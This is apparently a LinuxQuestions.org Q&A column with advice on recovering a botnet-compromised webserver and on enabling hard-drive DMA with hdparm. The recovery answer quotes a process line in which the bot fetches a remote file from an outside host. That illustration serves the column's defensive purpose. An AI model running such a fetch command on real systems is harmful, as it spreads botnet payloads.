The LinuxQuestions.org team takes on two tough Linux questions: what if I think my system has been compromised? And how do I set up DMA correctly?
The LinuxQuestions.org team takes on two tough Linux questions: what if I think my system has been compromised? And how do I set up DMA correctly?
It would appear my webserver has been hacked. I’m seeing TONS of zombie processes with names like [sh] in them…I ran rkhunter and it came back clean, but obviously something is still running these scripts. — Seventh
The questioner included a list of processes like this:
20203 0.0 0.0 /usr/bin/perl -w /usr/bin/GET http://pepedo.iespana.es/jaja.txt 0 17 4860 R 00:00:00 48
While this question occurs a bit more frequently than some of the others here on Infrequently Asked Questions, many administrators simply don’t know how to respond to a compromised system. In this particular case, a user’s server was compromised to act as part of a botnet, likely for use either sending spam or performing a Distributed Denial of Service (DDoS) attack. Action must immediately be taken.
The first thing to do is to disconnect the compromised system from the network. This prevents attackers from continuing to use the machine, either to damage it or to use it against other machines. After that, one must consider several points. If you do not have a relatively recent “known good” backup, you’ll want to copy all your data (and data only) off the machine and use it in the restoration. Also, you may want to make disk images of your disks for later forensic analysis. Knowing how your system was compromised before can help prevent it in the future.
If you need to get the system back up quickly, just replace the hard disk or disks and save the compromised ones.
You will need to reinstall your system. Do not install more software than necessary, and do all the security updates for the base OS before installing applications. Do not reinstall an out-of-date distribution such as Red Hat 9 or early Fedora, but instead use a current distribution and apply all updates. Configure a good sensible firewall policy using IPTables. Do not reuse any passwords from the old machine, as the attacker may already have copies of them and could use them to get into your freshly installed environment. If you know how it happened, be sure to take steps to repair the vulnerability that originally allowed your system to be compromised. On systems where you don’t have time to perform a full analysis before you need it back up, make sure you do use the latest version of all the software on the system and use strong passwords.
One thing that seems to be commonly forgotten is the use of public keys. Often, users will have a private SSH or GPG key on a system. These keys should immediately be invalidated as they can no longer be considered secure. SSH keys should have their public counterpart deleted from all other systems. GPG keys should have a revocation certificate published to the major keyservers as well as anywhere you offered your public key for download. You should also distribute the fingerprint for your new SSH host key to your users, as they’ll be getting a strong warning from their SSH client when they next try to login and the key has changed. A security-conscious user would not connect with this warning as it can be indicative of a man-in-the-middle attack. (Though, in this case, it’s just a reinstalled server.)
If it is a desktop, you may also want to change passwords on websites you visit. A keystroke logger may have been placed on your system that could record usernames, passwords, and other sensitive data. If you shop online, carefully watch your credit card statements for a few months afterwards in the unlikely event that your credit card information was stolen.
Some DOs and DON’Ts for your newly repaired system:
* DO use an IPTables firewall
* DO replace all of your cryptographic keys, including (SSH, SSL, and GPG.)
* DO use the latest version of all software
* DON’T reuse any of your old passwords
* DO require a strong password policy to prevent passwords from broken through a dictionary attack
The LQ security references are also helpful in recovering from a compromise. Most of all, maintain a clear head throughout the recovery and your system will be back up in no time. If you need a checklist of items to configure when installing a new server, see the page NewServer on the LinuxWorld.com wiki.
Matir
Sometimes it seems my Linux system is more sluggish than it should be, especially if I’m working with large files. Is there a way to measure my hard drive’s performance, and verify whether it is operating as efficiently as it should?
One of the easiest and best ways to improve your system’s performance is to use direct memory access (DMA) on your hard drive(s). Using DMA gives you much better performance than non-DMA, plus it puts less of a load on the CPU. Overall, enabling DMA is a simple, zero cost option and I’d recommend it.
The first step is to simply see what your system’s current settings are. I’ll use my own primary slave drive as an example, with DMA disabled for illustration. (It’s an older Western Digital 80G, if you’re interested) Note that it’s best to do these tests with no other apps running, as you don’t want your system to be busy with other tasks while you’re trying to measure its performance. As root, open up a console session then run the following:
# hdparm /dev/hdb
Better yet, use sudo:
sudo hdparm /dev/hdb
This will give you the current information about your drive, and the results will resemble the following:
/dev/hdb:
multcount = 16 (on)
IO_support = 0 (default 16-bit)
unmaskirq = 0 (off)
using_dma = 0 (off)
keepsettings = 0 (off)
readonly = 0 (off)
readahead = 256 (on)
geometry = 65535/16/63, sectors = 156301488, start = 0
What you are looking for is the “using_dma” line, and you want to see its value set to 1 (on). If it’s already set that way, congrats, no changes are needed.
However, if DMA is off, you’ll want to turn it on. Before we do that though, let’s take a look at the drive’s current performance by running a quick
simulation. Running the following command will perform a quick test of device reads as well as cached reads.
# hdparm -Tt /dev/hdb
and the results should resemble the following
/dev/hdb:
Timing cached reads: 1420 MB in 2.00 seconds = 709.96 MB/sec
Timing buffered disk reads: 8 MB in 3.12 seconds = 2.56 MB/sec
Of course, your numbers will depend on the particular drive you’re using. Now let’s enable DMA by running:
# hdparm -d1 /dev/hdb
which should result in the following message being displayed
/dev/hdb:
setting using_dma to 1 (on)
using_dma = 1 (on)
Now rerun your simulation test (the “hdparm -Tt /dev/hdb” command) Wow – checkout the huge difference in the performance numbers
/dev/hdb:
Timing cached reads: 1548 MB in 2.00 seconds = 772.41 MB/sec
Timing buffered disk reads: 124 MB in 3.03 seconds = 40.95 MB/sec
Where my drive previously was only handling 3MB/s, it’s now handling 41MB/s.That’s pretty sweet, and it didn’t cost me a dime – thanks DMA! If DMA defaults to off for your machine, you’ll need to add the command to your startup scripts. On Debian and Ubuntu, make sure that the package hdparm is installed, and change the line
dma = off
in /etc/hdparm.conf to
dma = on
If you are running Slackware, the equivalent action to enable DMA permanently would be to add the command
/sbin/hdparm -d1 /dev/hdb
into the /etc/rc.d/rc.local startup script file. Similarly in Fedora Core 5 you would add the same command to the /etc/rc.local file. (Note that /dev/hdb is only used for illustration; you would need to substitute your own drive’s identifier in its place) As the above examples illustrate, different distros vary somewhat in exactly how to make that change, but a review of the distro documentation or an online search should quickly get you on your way.
— J.W.
